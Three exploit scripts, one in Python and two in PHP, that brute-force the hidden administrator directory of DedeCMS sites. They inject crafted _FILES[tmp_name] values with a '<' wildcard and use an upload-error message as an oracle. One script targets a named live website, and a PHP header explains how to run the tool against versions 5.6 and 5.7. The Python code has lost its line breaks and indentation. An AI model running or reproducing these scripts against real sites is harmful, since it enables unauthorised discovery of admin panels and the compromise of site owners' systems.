#!/usr/bin/env python
'''/** author = Mochazz* team   = 红日安全团队* env    = pyton3**/
'''
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
# url = "http://192.168.1.9/tags.php"
url = "http://www.xmspower.com/tags.php"
data = {"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif","_FILES[mochazz][name]" : 0,"_FILES[mochazz][size]" : 0,"_FILES[mochazz][type]" : "image/gif"
}for num in range(1,7):if flag:breakfor pre in itertools.permutations(characters,num):pre = ''.join(list(pre))data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)print("testing",pre)r = requests.post(url,data=data)if "Upload filetype not allow !" not in r.text and r.status_code == 200:flag = 1back_dir = predata["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"breakelse:data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为：",back_dir)
flag = 0
for i in range(30):if flag:breakfor ch in characters:if ch == characters[-1]:flag = 1breakdata["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)r = requests.post(url, data=data)if "Upload filetype not allow !" not in r.text and r.status_code == 200:back_dir += chprint("[+] ",back_dir)data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"breakelse:data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"print("后台地址为：",back_dir)

<?php
$domain='http://localhost/dedecms/';
$url=$domain.'/index.php';
function post($url, $data, $cookie = '') {$options = array(CURLOPT_RETURNTRANSFER => true,CURLOPT_HEADER => true,CURLOPT_POST => true,CURLOPT_SSL_VERIFYHOST => false,CURLOPT_SSL_VERIFYHOST => false,CURLOPT_COOKIE => $cookie,CURLOPT_POSTFIELDS => $data,);$ch = curl_init($url);curl_setopt_array($ch, $options);$result = curl_exec($ch);curl_close($ch);return $result;
}
$testlen=25;
$str=range('a','z');
$number=range(0,9,1);
$dic = array_merge($str, $number);
$n=true;
$nn=true;
$path='';
while($n){foreach($dic as $v){foreach($dic as $vv){#echo $v.$vv .'----';$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";$result=post($url,$post_data);if(strpos($result,'Upload filetype not allow !') === false){$path=$v.$vv;$n=false;break 2;}}}
}
while($nn){foreach($dic as $vvv){$post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";$result=post($url,$post_data);if(strpos($result,'Upload filetype not allow !') === false){$path.=$vvv;echo $path . PHP_EOL;$giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';if(@file_get_contents($giturl)){echo $domain.'/'.$path.'/';$nn=false;break 2;}}}
}
?>

<?php/*dedecms 后台地址爆破工具使用程序时，必须指定dedecms的版本，例如：5.6当你不确定dedecms版本时，请将5.6和5.7两个版本都尝试一遍，总有一个适合您！Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/*/if(!isset($argv[1]) or !isset($argv[2])) {exit("error!\r\nExample: php.exe dedecms-exp.php 5.6 http://127.0.0.1/");}$domain = $argv[2];$url = $domain . '/tags.php';$version = $argv[1];$path = my_func($url);if($path) {while(($path = my_func($url, $path))) {echo strtolower($path) . "\r\n";}}else {for($i = 48; $i <= 90; $i++) {if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {$path = my_func($url, chr($i));while($path) {echo strtolower($path) . "\r\n";$path = my_func($url, $path);}}}}exit();function my_func($url, $path = '') {$ch = curl_init($url);$i = 48;global $version;while($i <= 90) {if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {if($version != '5.7') {/* v5.6版本及其以下 */$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';}else {/* v5.7版本 */$admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';}$data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';$options = array(CURLOPT_USERAGENT => 'Firefox/58.0',CURLOPT_RETURNTRANSFER => true,CURLOPT_POST => true,CURLOPT_POSTFIELDS => $data,);curl_setopt_array($ch, $options);$response = curl_exec($ch);if(!preg_match('/(Upload filetype not allow !)/i', $response)) {$path = $path . chr($i);return $path;}}$i++;}curl_close($ch);return false;}?>